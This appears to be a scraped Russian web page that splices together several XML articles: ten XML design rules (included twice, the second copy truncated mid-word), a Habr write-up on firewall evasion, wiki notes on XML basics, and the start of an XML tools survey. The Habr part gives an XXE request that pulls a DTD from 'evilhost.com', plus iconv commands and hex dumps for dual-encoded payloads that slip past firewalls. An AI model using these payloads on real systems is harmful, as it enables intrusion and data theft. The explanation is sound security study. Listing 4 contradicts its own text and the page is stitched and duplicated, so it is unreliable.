Знакомство с современными средствами работы с XML. Xml код


Десять правил XML, которые нужно знать

Как правильно использовать XML

Джек ХеррингтонОпубликовано 26.03.2012

Часто используемые сокращения
  • CDATA: Character Data (символьные данные)
  • DOM: Document Object Model (объектная модель документа)
  • E4X: ECMAScript for XML (ECMAScript для XML)
  • IDE: Integrated Development Environment (интегрированная среда разработки)
  • W3C: World Wide Web Consortium (консорциум WWW)
  • XML: Extensible Markup Language (расширяемый язык разметки)
  • XSLT: Extensible Stylesheet Language Transformations (расширяемый язык преобразований таблиц стилей)

В настоящее время XML воспринимается как нечто само собой разумеющееся. Он повсюду! Но если посмотреть со стороны, то можно увидеть, что это мощная технология. Есть интегрированные среды разработки, которые помогают строить XML-деревья. Есть целый ряд технологий проверки корректности XML-кода. Есть XSLT – специальный язык преобразования XML. Поддержка XML встроена даже непосредственно в синтаксис некоторых языков (как, например, E4X в ActionScript).

Но у XML есть и обратная сторона. Его можно использовать неправильно. Его можно использовать плохо. Он может быть чрезмерно сложным. Он может быть недоопределенным. С ним может быть трудно работать. Что нужно сделать для более эффективного использования этой мощной технологии? В своей статье я дам 10 советов, которые помогут ответить на этот вопрос.

Не используйте XML в качестве имени файла или корневого тега

Много раз я видел XML-код, хранящийся в файлах с расширением .xml. Это бессмысленно. Такое расширение не скажет мне ничего, чего бы я не знал, просто выполнив команду cat. Как только я увижу теги, я сразу пойму, что это XML. Вместо этого расширения используйте расширение, имеющее смысл для пользователя. Также можно использовать уникальное расширение, чтобы при поиске Google возвращал ссылки на документацию или на примеры вашего формата XML-файла.

Еще одной проблемой в некоторых XML-документах является использование корневого тега <xml>. Это опять-таки ни о чем не говорит. Что находится в этом файле? Если это список контактов, корневым узлом должен быть тег <contacts>. XML должен быть читабельным, поэтому используйте имена тегов и атрибутов, имеющие отношение к бизнес-задаче, над которой работаете. Если корневым узлом является <contacts>, я предполагаю увидеть теги <contact>, а затем теги <name>, <first>, <middle>, <last> и т.д.

Не переопределяйте обобщенные или специфичные для языка конструкции

Я понимаю, что XML – это формат для сохранения данных. В своем большинстве языки предоставляют способ сохранения структур данных в XML. Хорошо, если вы уверены, что только написанные на том же языке процессы будут когда-либо читать или писать ваш XML-код. Такое, однако, встречается редко. Если ваше приложение пишет что-то в файл, вполне вероятно, что в какой-то момент времени его прочтет пользователь или какое-нибудь приложение на другом языке.

Этим я хочу сказать, что специфичные для языка конструкции нужно хранить вне XML. Как часто вы встречали <data type="NSDate">07-18-2010</data>? Что такое NSDate? Ага, это имя класса для работы с датами на прикладной платформе. Что произойдет при смене платформы или языка? Потребуется преобразование тегов NSDate во что-то другое, что используется на новой платформе.

Храните специфику языка вне XML и используйте простые теги, скажем <date>...<date>. Такой тег легко понимаем, читабелен и не зависит от конкретного языка или интегрированной среды.

Еще одно важное правило – избегайте использования в XML излишних обобщений. Взгляните на следующий пример (листинг 1):

Листинг 1. Обобщенное дерево узлов
<nodes> <node type="user"> <node type="first">jack</node> </node> </nodes>

Что это означает? Я понял, что это список пользователей. Но человеку трудно это читать и редактировать. Еще хуже то, что этот XML-код очень трудно использовать в средствах, подобных XSLT, или проверять его корректность при помощи схемы. В листинге 2 показано, что на самом деле означает приведенный выше XML-код.

Листинг 2. Более эффективное дерево узлов
<users> <user> <first>jack</first> </user> </users>

Разве так не лучше? Код говорит то, что означает, и означает то, что говорит. Его легче читать и анализировать. Его легче проверять и преобразовывать при помощи XSLT. Он даже меньше по размеру.

Не делайте файлы слишком большими

Знаю, что вы скажете: "Дисковая память стоит дешево. За десять центов я куплю еще один терабайт". Это верно. Вы действительно можете создавать гигабайтные XML-файлы. Но программирование – это постоянные компромиссы. Приходится менять дисковое пространство на время или память на время. А при работе с огромным XML-файлом вы получаете худшие стороны и того, и другого. Файл занимает много места на диске, а на его анализ и проверку уходит много времени. Кроме того, большой файл исключает использование DOM-анализатора, поскольку построение дерева требует бесконечного времени и огромного количества памяти.

Какова же альтернатива? Можно создать несколько файлов. Один выступает в качестве индекса, а другие содержат большие ресурсы, которые, возможно, будут нужны не всем пользователям этого XML. Другой вариант– вынос всех больших фрагментов CDATA из XML-файла и помещение их в свои собственные файлы с собственными форматами. Если вы хотите хранить все данные вместе, запакуйте все файлы в новый файл с новым расширением. Любой популярный язык программирования имеет модули, облегчающие быструю упаковку и распаковку файлов.

Не используйте пространства имен, если в этом нет острой необходимости

Пространства имен (namespace) – это мощная составляющая XML-лексикона. Они облегчают реализацию расширяемых форматов файлов. Вы можете определить базовый набор тегов для всех потребностей вашего приложения, а затем разрешить пользователям добавлять свои собственные данные в свое собственное пространство имен в файле, не затрагивая ваше дерево объектов.

Однако пространства имен очень затрудняют синтаксический анализ и управление данными. Они сбивают с толку расширения языков программирования, такие как E4X. Они затрудняют использование XML в XSLT. Наконец, они делают XML-файлы намного более трудными для чтения.

Поэтому используйте пространства имен XML, только если это действительно необходимо. Не используйте их просто потому, что "XML позволяет это делать". XML прекрасно работает и без пространств имен.

Не используйте специальные символы

Все мои советы направлены на поддержание чистоты, простоты и легкости восприятия вашего XML-кода. В этом смысле даже спецификация XML позволяет многое, что совсем необязательно использовать. Например, в названиях элементов и атрибутов можно использовать тире. Но это очень затрудняет использование такого XML-кода в расширениях языка, например в E4X. Вопрос в том, стоит ли?

Я рекомендую избегать использования любых специальных символов в названиях элементов и атрибутов.

Используйте XML Schema

Синтаксический анализ XML является непростой задачей. Для точного анализа необходимо проделать большую работу по защите кода от возможного отсутствия и некорректного использования тегов или атрибутов. Это дополнительная работа по написанию кода, дополнительная сложность, а также затенение реальной бизнес-логики, являющейся вашей главной заботой. Как избежать этого? Проверяйте XML перед его использованием. Для этого можно использовать несколько стандартов. Можно указать Document Type Definition (DTD) или XML Schema (ссылки на информацию о DTD и XML Schema приведены в разделе Ресурсы). Лично я нахожу XML Schema намного более простой в работе, но если вы новичок в этом деле, попробуйте различные системы проверки корректности.

Большим преимуществом является то, что после проверки корректности XML в нем можно быть уверенным. Возможно, это не нужно для внутренних XML-файлов вашего приложения. Но это очень полезно, если XML генерируется другим приложением или пишется вручную.

Нумеруйте версии

Очень легко упустить из виду тот факт, что XML, хранящийся в файлах, эквивалентен формату файла. Первое, что должен содержать файл любого формата, – это номер версии. Его достаточно легко добавить: <customers version="1">...</customers>. Код, выполняющий чтение файла, должен проверить, что номер версии не больше его текущей версии, и сгенерировать исключительную ситуацию, если это не так. Это гарантирует, что любые последующие версии кода не будут конфликтовать с более старыми версиями при использовании новых тегов. Конечно же, вы должны обеспечить поддержку всех старых версий файлов при дальнейшей разработке своего приложения.

Сочетайте узлы и атрибуты

Инженеры довольно ленивый народ. Я могу это утверждать, поскольку сам такой. Не спорьте, все мы такие. Если интегрированная среда разработки предложит выполнить экспорт XML вместо нас, мы наверняка согласимся. Но обычно интегрированная среда создает очень плохой XML-код. Вероятно, вы уже встречались с чем-то похожим на листинг 3:

Листинг 3. Список пользователей
<users> <user> <id>1</id> <first>jack</first> </user> </users>

Должен ли <id> быть тегом? Я утверждаю, что он должен быть атрибутом. Код становится более коротким и осмысленным, появляется возможность искать пользователя по идентификатору при помощи простого XPath-выражения (/users/user[@id=1]).

Чтобы код был читабелен, несомненно лучше использовать атрибуты, как показано в листинге 4.

Листинг 4. Более удобный список пользователей
<users> <user> <first>jack</first> </user> </users>

Понятно, что интегрированная среда сгенерировала листинг 3, потому что всегда безопаснее использовать узлы. Но атрибуты позволяют идентифицировать важные элементы в DOM-дереве, поэтому следует использовать их.

Используйте CDATA, но не злоупотребляйте этим

XML налагает множество ограничений на использование определенных символов: кавычек, амперсандов, знаков "меньше" и "больше" и т.д. Однако на практике эти символы используются очень часто. Поэтому приходится либо преобразовывать все в безопасный для XML формат, либо помещать большие фрагменты текста, кода или еще чего-нибудь в блоки CDATA. Мне кажется, что разработчики избегают использования CDATA, поскольку думают, что это затруднит синтаксический анализ. Но разделы CDATA анализировать не труднее, чем что-либо другое – большинство DOM-анализаторов обрабатывает их самостоятельно, поэтому вам даже не нужно думать об этом.

Еще одной важной причиной использования CDATA является сохранение точного форматирования данных. Например, при экспорте Wiki-страницы вы наверняка захотите в точности сохранить позиции таких символов как возврат каретки и перевод строки, поскольку они играют особую роль в Wiki-формате.

Почему же не использовать разделы CDATA постоянно? Потому что они очень затрудняют чтение документа. Это особенно неприятно, когда в них нет необходимости. Итак, используйте их и поощряйте их использование пользователями ваших XML-файлов в тех ситуациях, когда данные, по вашему мнению, будут содержать специальные символы и когда нужно сохранить первоначальное форматирование. Но не используйте CDATA в прочих ситуациях.

Храните необязательные данные в отдельной области

До сих пор я рассказывал об XML-документах с жестким форматом. Я даже рекомендовал использовать технологию проверки корректности, (например, XML Schema), гарантирующую жесткую структуру. Тому есть веская причина: структурированные данные легче анализировать. А если нужна определенная гибкость? Я рекомендую размещать необязательные данные в отдельном блоке в своем собственном узле. Взгляните, например, на листинг 5.

Листинг 5. Неупорядоченная запись о пользователе
<users> <user> <first>jack</first> <middle>d</middle> <last>herrington</last> <runningpace>8:00</runningpace> </user> </users>

Эта запись содержит все ожидаемые данные о пользователе. Я согласен с first, middle, last, но зачем здесь runningpace? Это необходимо? Будете ли у вас много таких полей? Будут ли они расширяемыми? Если ответ на все эти вопросы утвердителен, я порекомендовал бы сделать так (см. листинг 6):

Листинг 6. Хорошо структурированная запись о пользователе
<users> <user> <first>jack</first> <middle>d</middle> <last>herrington</last> <userdata> <field name="runningpace">8:00</field> </userdata> </user> </users>

При таком подходе вы можете иметь сколько угодно полей, не загромождая пространство имен родительского элемента <user>. Вы даже можете проверить корректность этого документа, а также обратиться к определенному полю при помощи XPath-выражения (//user/userdata/field[@name='runningpace').

Заключение

Обдумайте то, что я сказал. Я порекомендовал пять вещей, которые стоит делать, и пять вещей, которых следует избегать. Не все мои советы применимы в любых обстоятельствах. Иногда XML – это только формат хранения данных, передаваемых по сети и живущих всего несколько миллисекунд. В этом случае ни о чем заботиться не стоит. Но при использовании XML в качестве формата файлов вам следует прислушаться к моим советам и применить представленные здесь рекомендации.

Ресурсы для скачивания
Похожие темы
  • Оригинал статьи: Five XML dos and five don'ts that you need to know (EN).
  • Эксперты по языку скорее всего захотят познакомиться со спецификацией W3C XML Specification. Станьте экспертом по языку и узнайте подробнее об XML - простом, очень гибком текстовом формате, предназначенном для публикации электронных документов и играющем важную роль в обмене данными в Web и повсюду.
  • Document Type Definition (DTD) в Википедии: информация о DTD - наборе объявлений разметки, определяющих тип документа для семейства языков разметки SGML (SGML, XML, HTML).
  • XML Schema в Википедии: краткое описание типа XML-документа, ограничивающееся структурой и содержимым документов данного типа.
  • Спецификация W3C XSLT: информация о замечательном способе преобразования XML в разнообразные форматы.
  • Спецификация W3C XPath: очень полезное средство, которое можно использовать для быстрого и удобного поиска узлов даже в самом сложном XML-документе.
  • Разработка XML при помощи Eclipse: использование возможностей XML в Eclipse (Павел Лешек (Pawel Leszek), developerWorks, апрель 2003 года): информация об Eclipse и его расширениях для редактирования XML (EN).
  • Расширение E4X для Actionscript (ECMAScript): отличный способ интегрировать XML непосредственно в логику вашего приложения. Это расширение настолько полезно, что де-факто становится открытым стандартом хранения в языке (Википедия).
  • Другие статьи данного автора (Джек Херрингтон (Jack Herrington), developerWorks, с марта 2005 года по настоящее время): статьи об Ajax, JSON, PHP, XML и других технологиях.
  • Сертификация IBM по XML: информация о получении сертификата IBM-Certified Developer по XML и смежным технологиям.

Подпишите меня на уведомления к комментариям

www.ibm.com

Десять правил XML, которые нужно знать — Справочники web-разработчика

Содержание

XML – это мощная технология, но ее можно использовать неправильно. В статье приведены 10 правил, которые помогут вам использовать технологию XML наиболее эффективно.

XML как инструментальное средство

В настоящее время XML воспринимается как нечто само собой разумеющееся. Он повсюду! Но если посмотреть со стороны, то можно увидеть, что это мощная технология. Есть интегрированные среды разработки, которые помогают строить XML-деревья. Есть целый ряд технологий проверки корректности XML-кода. Есть XSLT – специальный язык преобразования XML. Поддержка XML встроена даже непосредственно в синтаксис некоторых языков (как, например, E4X в ActionScript).

Но у XML есть и обратная сторона. Его можно использовать неправильно. Его можно использовать плохо. Он может быть чрезмерно сложным. Он может быть недоопределенным. С ним может быть трудно работать. Что нужно сделать для более эффективного использования этой мощной технологии? В своей статье я дам 10 советов, которые помогут ответить на этот вопрос.

Не используйте XML в качестве имени файла или корневого тега

Много раз я видел XML-код, хранящийся в файлах с расширением .xml. Это бессмысленно. Такое расширение не скажет мне ничего, чего бы я не знал, просто выполнив команду cat. Как только я увижу теги, я сразу пойму, что это XML. Вместо этого расширения используйте расширение, имеющее смысл для пользователя. Также можно использовать уникальное расширение, чтобы при поиске Google возвращал ссылки на документацию или на примеры вашего формата XML-файла.

Еще одной проблемой в некоторых XML-документах является использование корневого тега <xml>. Это опять-таки ни о чем не говорит. Что находится в этом файле? Если это список контактов, корневым узлом должен быть тег <contacts>. XML должен быть читабельным, поэтому используйте имена тегов и атрибутов, имеющие отношение к бизнес-задаче, над которой работаете. Если корневым узлом является <contacts>, я предполагаю увидеть теги <contact>, а затем теги <name>, <first>, <middle>, <last> и т. д.

Не переопределяйте обобщенные или специфичные для языка конструкции

Я понимаю, что XML – это формат для сохранения данных. В своем большинстве языки предоставляют способ сохранения структур данных в XML. Хорошо, если вы уверены, что только написанные на том же языке процессы будут когда-либо читать или писать ваш XML-код. Такое, однако, встречается редко. Если ваше приложение пишет что-то в файл, вполне вероятно, что в какой-то момент времени его прочтет пользователь или какое-нибудь приложение на другом языке.

Этим я хочу сказать, что специфичные для языка конструкции нужно хранить вне XML. Как часто вы встречали <data type="NSDate">07-18-2010</data>? Что такое NSDate? Ага, это имя класса для работы с датами на прикладной платформе. Что произойдет при смене платформы или языка? Потребуется преобразование тегов NSDate во что-то другое, что используется на новой платформе.

Храните специфику языка вне XML и используйте простые теги, скажем <date>...</date>. Такой тег легко понимаем, читабелен и не зависит от конкретного языка или интегрированной среды.

Еще одно важное правило – избегайте использования в XML излишних обобщений. Взгляните на следующий пример (листинг 1):

Листинг 1. Обобщенное дерево узлов

<nodes> <node type="user"> <node type="first">jack</node> </node> </nodes>

Что это означает? Я понял, что это список пользователей. Но человеку трудно это читать и редактировать. Еще хуже то, что этот XML-код очень трудно использовать в средствах, подобных XSLT, или проверять его корректность при помощи схемы. В листинге 2 показано, что на самом деле означает приведенный выше XML-код.

Листинг 2. Более эффективное дерево узлов

<users> <user> <first>jack</first> </user> </users>

Разве так не лучше? Код говорит то, что означает, и означает то, что говорит. Его легче читать и анализировать. Его легче проверять и преобразовывать при помощи XSLT. Он даже меньше по размеру.

Не делайте файлы слишком большими

Знаю, что вы скажете: "Дисковая память стоит дешево. За десять центов я куплю еще один терабайт". Это верно. Вы действительно можете создавать гигабайтные XML-файлы. Но программирование – это постоянные компромиссы. Приходится менять дисковое пространство на время или память на время. А при работе с огромным XML-файлом вы получаете худшие стороны и того, и другого. Файл занимает много места на диске, а на его анализ и проверку уходит много времени. Кроме того, большой файл исключает использование DOM-анализатора, поскольку построение дерева требует бесконечного времени и огромного количества памяти.

Какова же альтернатива? Можно создать несколько файлов. Один выступает в качестве индекса, а другие содержат большие ресурсы, которые, возможно, будут нужны не всем пользователям этого XML. Другой вариант– вынос всех больших фрагментов CDATA из XML-файла и помещение их в свои собственные файлы с собственными форматами. Если вы хотите хранить все данные вместе, запакуйте все файлы в новый файл с новым расширением. Любой популярный язык программирования имеет модули, облегчающие быструю упаковку и распаковку файлов.

Не используйте пространства имен, если в этом нет острой необходимости

Пространства имен (namespace) – это мощная составляющая XML-лексикона. Они облегчают реализацию расширяемых форматов файлов. Вы можете определить базовый набор тегов для всех потребностей вашего приложения, а затем разрешить пользователям добавлять свои собственные данные в свое собственное пространство имен в файле, не затрагивая ваше дерево объектов.

Однако пространства имен очень затрудняют синтаксический анализ и управление данными. Они сбивают с толку расширения языков программирования, такие как E4X. Они затрудняют использование XML в XSLT. Наконец, они делают XML-файлы намного более трудными для чтения.

Поэтому используйте пространства имен XML, только если это действительно необходимо. Не использ

xsltdev.ru

Злой XML с двумя кодировками / Хабр

WAFы видят вместо документа белый шум!
00000000 3C3F 786D 6C20 7665 7273 696F 6E3D 2231 <?xml version="1
00000010 2E30 2220 656E 636F 6469 6E67 3D22 5554 .0" encoding="UT
00000020 462D 3136 4245 2200 3F00 3E00 3C00 6100 F-16BE".?.>.<.a.
00000030 3E00 3100 3300 3300 3700 3C00 2F00 6100 >.1.3.3.7.<./.a.
00000040 3E >
В статье — небольшой рассказ про кодировки в XML и про обход WAFов с их помощью. Спецификация обязывает парсеры понимать две кодировки: UTF-8 и UTF-16. Парсеры поддерживают больше, но для атаки хватит и этих.

UTF-8 и UTF-16 отображают одни и те же символы — из таблицы Юникода.

Разница между кодировками в том, как они хранят номер символа.

UTF-8 Один символ — от одного до четырех байт.

Код символа хранится по шаблону:

Количество байт Значащих бит Бинарный код
1 7 0xxxxxxx
2 11 110xxxxx 10xxxxxx
3 16 1110xxxx 10xxxxxx 10xxxxxx
4 21 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
Кодировать символы избыточно нельзя. Самый короткий способ — верный.

UTF-16 Один символ — два или четыре байта.

Код символа хранится по шаблону:

Количество байт Значащих бит Бинарный код
2 16 xxxxxxxx xxxxxxxx
4 * 20 110110xx xxxxxxxx 110111xx xxxxxxxx
* Из кода предварительно вычитается 0x010000

Запись символа с помощью 4-х байт называется суррогатной парой. Пара состоит из двух обычных символов, но из зарезервированного диапазона: от U+D800 до U+DFFF. Половинки пары сами по себе недействительны.

UTF-16 бывает двух видов: UTF-16BE и UTF-16LE (big-endian / little-endian). В них разный порядок байт.

Big-endian — «естественный» порядок байт, как у арабских цифр. Little-endian — обратный порядок байт.

Примеры записи символов в UTF-16BE и UTF-16LE

Кодировка Символ Бинарный код
UTF-16BE U+003F 00000000 00111111
UTF-16LE U+003F 00111111 00000000
UTF-16BE * U+1D6E5 11011000 00110101 11011110 1100101
UTF-16LE * U+1D6E5 00110101 11011000 11100101 11011110
* В четырех-байтовых символах группы из 2-х байт переворачиваются отдельно. Это сделано для обратной совместимости с Unicode 1.0, где все символы состояли только из двух байт. Парсеры определяют кодировку четырьмя способами:

Внешняя информация о кодировке В некоторых сетевых протоколах есть специальное поле для кодировки:

Передача кодировки в протоколе WebDav

Чаще всего это протоколы, которые построены по стандарту MIME: например SMTP, HTTP и WebDAV.

Byte Order Mark (BOM)

BOM — символ с кодом U+FEFF.

Если парсер найдет его в начале, то он определит кодировку по тому, как он записан.

Популярные кодировки и их BOM

Кодировка BOM Пример
UTF-8 EF BB BF EF BB BF 3C 3F 78 6D 6C ...<?xml
UTF-16BE FE FF FE FF 00 3C 00 3F 00 78 00 6D 00 6C ...<.?.x.m.l
UTF-16LE FF FE FF FE 3C 00 3F 00 78 00 6D 00 6C 00 ..<.?.x.m.l.
BOM работает только в начале документа. В середине он считывается как специальный пробел или вызывает ошибку.

По первым символам документа

Спецификация разрешает парсеру взглянуть на первые четыре байта и определить кодировку по ним:

Кодировка Начало документа
UTF-8 ISO 646 ASCII 3C 3F 78 6D <?xm
UTF-16BE 00 3C 00 3F .<.?
UTF-16LE 3C 00 3F 00 <.?.
Это работает только для документов, которые начинаются с декларации XML.

Из декларации XML

Кодировку можно задать в декларации XML:

<?xml version="1.0" encoding="UTF-8"?> Декларация XML — строка, которую пишут в самое начало. По ней парсер понимает, в каком формате составлен документ.<?xml version="1.0" encoding="ISO-8859-1" ?> <très>là </très>Документ в кодировке ISO-8859-1

Чтобы прочитать декларацию, парсер, по-видимому, уже должен знать кодировку. Но декларация полезна для уточнения между схожими кодировками: например, между совместимыми с ASCII.

Самый простой вариант — сменить кодировку на несовместимую с ASCII и надеяться, что WAF ее не поймет.

Этот способ работал на конкурсе WAF Bypass в 2015 году. Там от участников требовалось прочитать флаг через уязвимость XXE:

Запрос на эксплуатацию XXE с конкурса

POST / HTTP/1.1 Host: d3rr0r1m.waf-bypass.phdays.com Connection: close Content-Type: text/xml User-Agent: Mozilla/5.0 Content-Length: 166 <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://evilhost.com/waf.dtd"> %xxe; ]> <root> <method>test</method> </root> Один из вариантов решения — перекодировать тело запроса в UTF-16BE без BOM:cat original.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml В этом документе WAF не видел опасности и пропускал запрос.Ещё один способ запутать WAF — закодировать XML сразу в две кодировки.

Когда парсер читает кодировку из декларации, он тут же на нее переключается. Даже если она несовместима с кодировкой, в которой записана сама декларация.

Если составить документ и декларацию в разных кодировках, то WAFы ничего не поймут.

‎Xerces2 Java Parser

Декларация — в ASCII, затем UTF-16BE:

00000000 3C3F 786D 6C20 7665 7273 696F 6E3D 2231 <?xml version="1
00000010 2E30 2220 656E 636F 6469 6E67 3D22 5554 .0" encoding="UT
00000020 462D 3136 4245 223F 3E00 3C00 6100 3E00 F-16BE"?>.<.a.>.
00000030 3100 3300 3300 3700 3C00 2F00 6100 3E 1.3.3.7.<./.a.>
Команды для формирования:echo -n '<?xml version="1.0" encoding="UTF-16BE"?>' > payload.xml echo '<a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xmllibxml2

libxml2 переключает кодировку сразу же, как прочитает атрибут. Поэтому, кодировку меняем ещё до закрытия декларации:

00000000 3C3F 786D 6C20 7665 7273 696F 6E3D 2231 <?xml version="1
00000010 2E30 2220 656E 636F 6469 6E67 3D22 5554 .0" encoding="UT
00000020 462D 3136 4245 2200 3F00 3E00 3C00 6100 F-16BE".?.>.<.a.
00000030 3E00 3100 3300 3300 3700 3C00 2F00 6100 >.1.3.3.7.<./.a.
00000040 3E >
Команды для формирования:echo -n '<?xml version="1.0" encoding="UTF-16BE"' > payload.xml echo '?><a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml Удачных пентестов!

habr.com

XML [АйТи бубен]

XML (eXtensible Markup Language — расширяемый язык разметки; произносится [икс-эм-э́ль])- набор правил и соглашений о синтаксисе, с помощью которого можно создавать собственные наборы элементов разметки. Эти элементы, в свою очередь, можно использовать для описания содержимого. Своим появлением XML обязан невозможности применения HTML для описания данных самого разного рода, которые пользователи желают распространять через Web. Так, HTML практически невозможно использовать для описания финансовых данных, руководств по инсталляции программного обеспечения, математических выражений и множества данных других типов, которыми буквально наполнена сеть Интернет. Истинное назначение языка разметки XML - описывать части документа, не касаясь способов его визуализации и отображения. Разметка позволяет структурировать данные, а уже затем эти данные можно использовать по-разному.

В то время как XML описывает структуру данных, XSL и XLink представляют их в определенной форме и организуют связь между ними.

  • *.XML -файл с данными

  • *.DTD - файл определения типа документа, используется для описания структуры XML-документа. Ожидается что эти файлы DTD заменяться схемами. Схемы по своей структуре являются XML-документом, а DTD файл составляется с использованием расширенной формы Бэкуса-Наура(EBNF). DTD - файлами нельзя манипулировать: осуществлять в них поиск информации, использовать их различные представления , например, в виде HTML.
  • *.XSD - файл схемы W3C XML Shema.
  • *.XSL - файл расширенный язык таблиц стилей. Служит для описания представления данных XML -документов. XML и XSL связаны между собой приблизительно также, как HTML с Основы работы с CSS.
  • *.XDR (XML-Data Reduced) которая является частью спецификации Microsoft XML-Dаta.

Правила XML:

  • Если документ содержит символы, выходящие за рамки ASCII, необходимо указать кодировку<?xml version="1.0" encoding="UTF-8"?>
  • XML чувствителен к регистру символов

  • XML- документ состоит из вложенных элементов

  • Элемент состоит из открывающего и закрывающего тегов, а также содержимого:<name>John Smit</name>
  • Теги должны быть правильно вложены друг в друга

  • Все парные теги должны быть закрыты. Возможно формирование пустых элементов – без содержимого: <br/> - пробел не обязателен!. Некоторые элементы (например, пустые) не требуют соответствующих им закрывающих тегов (хотя в этом случае могут применяться атрибуты). Подобные теги лишены содержимого, состоящего из символьных данных и разметки. Эти элементы могут включать лишь один тег. При работе с XML- кодом пустые элементы всегда следует завершать символом /> (выполнение этого условия необходимо для выполнения условия формальной корректности).

  • Должен существовать только один корневой элемент, который содержит все остальные элементы. Пустой документ (без корневого элемента) – недопустим!

  • Элементы могут иметь атрибуты: <book>…</book>

  • Значения атрибутов заключаются в одинарные или двойные кавычки

  • У каждого конкретного элемента не должно быть повторяющихся атрибутов

XML можно использовать внутри HTML документа. "Острова данных" - Data islands - это технология онлайновой вставки XML данных в HTML код, разработанная Microsoft и W3C. С позиции данной технологии XML код используется как источник данных, а HTML служит средством их визуализации.

XML код может храниться во внешнем .xml файле, или может быть вставлен непосредственно в HTML документ. Для объявления используется <XML>; для связи таблицы и источника данных используется атрибут datasrc <table datаsrc="#YourID" … >; для вывода на страницу используется атрибут datafld.

XML документы могут быть визуально представлены при помощи таблиц стилей - Основы работы с CSS.

При составлении таблицы стилей для XML документа нужно помнить, что броузер "не знает", какой способ форматирования использует тот или иной элемент - блочный (абзац, заголовок…) или линейный (выделение полужирным, курсивом…).

Для указазания этой информации броузеру в CSS используется атрибут стиля display, который может принимать значения "block" - блочное форматирование или "inline" - линейное:

book { display: block; border-bottom: 1px solid; padding: 3px; ... } title { display: inline; ... }

Для подключения стилей существует специальная инструкция xml:stylesheet

<?xml version="1.0" encoding="UTF-8"?> <?xml:stylesheet type="text/css" href="URL" ?> ...

Атрибут type указывает используемый тип стилевых таблиц. При использовании таблиц стилей XSL значение атрибута type поменяется на "text/xsl". Атрибут href указывает расположение файла таблицы стилей.

Альтернативу определениям DTD представляют XML схемы. XML Schema была задумана для определения правил, которым должен подчиняться документ. Схемы используют синтаксис языка XML для определения правил словаря XML документа. К достоинствам схем можно отнести расширяемость и возможность наследования, поддержку пространств имен, поддержку большего, по сравнению с DTD, количества типов данных.

После проверки документа на соответствие XML Schema, читающая программа может создать модель данных документа (словарь; модель содержания;типы данных). Каждый элемент в этой модели ассоциируется с определённым типом данных, позволяя строить в памяти объект, соответствующий структуре XML-документа. В XML схеме один словарь может ссылаться на другой, и, таким образом, разработчик может использовать уже существующие словари и легче устанавливать и распространять стандарты XML структуры для определённых задач (например, словарь протокола SOAP).

Список схем для описания XML документов:

  • Microsoft XDR (XML-Data Reduced) которая является частью спецификации XML-Dаta.

  • XSD - cхема консорциума W3C XML Sсhema.
  • RELAX NG (Regular Language Description for XML, New Generation)

Шаблон XSD документа:

<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> <xs:element name="ENTER_NAME_OF_ROOT_ELEMENT_HERE"> <xs:annotation> <xs:documentation>Comments</xs:documentation> </xs:annotation> </xs:element> </xs:schema>

Семейство рекомендаций языков XSL

Семейство рекомендаций консорциума W3C языков XSL (eXtensible Stylesheet Language) служит для преобразования XML файлов для представления и печати. В него входят:

  • XSLT декларативный язык преобразования XML документов;
  • XSL-FO декларативный язык постраничной верстки. XSL-FO процессор преобразует XSL-FO документ в не-XML формат, например в PDF;
  • XPath язык для выбора данных в XML файле, является частью XQuery и XSLT.
  • XQuery язык запросов для структурирования и трансформации XML данных;

DOM (Document Object Model), SAX (Simple API for XML), SimpleXML, XSLT используются для обработки XML документов.

  • DOM требует построения дерева документа в оперативной памяти (так как все элементы документа находятся в памяти, то они извлекаются быстро). Синтаксические анализаторы, основанные на SAX, вызывают методы, определенные программистом, при появлении элементов разметки (т.е. открывающих, закрывающих тегов и т.д.). Метод SAX более производителен и требует меньше ресурсов памяти. Многие DOM анализаторы используют SAX анализатор для извлечения данных из XML документа перед построением дерева документа.

  • SAX (Simple API for XML) - только чтения документа, создавать и изменять XML- документы с помощью SAX нельзя. SAX основан на событиях. SAX понимает только три кодировки (encoding): ISO-8859-1, UTF-8 и US-ASCII (Windows-1251 не поддерживается). Homepage: SAX
  • Парсер SimpleXML присутствует только в PHP.

загрузка...

xml.txt · Последние изменения: 2012/09/21 12:19 (внешнее изменение)

wiki.dieg.info

Знакомство с современными средствами работы с XML

Инструментальные средства редактирования, проверки корректности, форматирования, сравнения XML-файлов, а также средства поддержки XQuery, XPath, карт сайтов, схем и RSS-фидов

Говри Шанкар ПаланиОпубликовано 27.04.2012

Часто используемые сокращения
  • API: Application Programming Interface (прикладной интерфейс программирования)
  • DITA: Darwin Information Typing Architecture (архитектура типизированной информации Darwin)
  • DTD: Document Type Definition (определение типа документа)
  • HTML: Hypertext Markup Language (язык разметки гипертекста)
  • IDE: Integrated Development Environment (интегрированная среда разработки)
  • URL: Uniform Resource Locator (унифицированный указатель ресурсов)
  • W3C: World Wide Web Consortium (консорциум WWW)
  • WSDL: Web Services Description Language (язык описания веб-сервисов)
  • XHTML: Extensible Hypertext Markup Language (расширяемый язык разметки гипертекста)
  • XML: Extensible Markup Language (расширяемый язык разметки)
  • XSLT: Extensible Stylesheet Language Transformations (расширяемый язык преобразований таблиц стилей)

При выборе инструментальных средств для работы с XML-технологиями сначала необходимо определить требования. Например, если предполагается выполнять с XML различные задачи (редактирование, проверка корректности и т.д.), рассмотрите возможность использования XML IDE с соответствующими функциями. Для решения конкретной задачи (сравнение XML-файлов или создание карты сайта) рассмотрите возможность использования более специализированного средства для конкретной задачи.

В данной статье рассматриваются следующие категории инструментальных средств для работы с XML:

  • Программы для разработки и проверки XML-карт сайтов.
  • Генераторы RSS-фидов.
  • Генераторы XML-схем.
  • Программы для проверки корректности XML.
  • Программы форматирования XML.
  • Редакторы XML.
  • Инструментальные средства для работы с XML.
  • Инструментальные средства с открытыми исходными кодами для работы с XML.
  • Интегрированные среды разработки XML.
  • Средства сравнения XML
  • Инструментальные средства для работы с XQuery.
  • Инструментальные средства для работы с XPath.

Программа для создания XML-карт сайтов

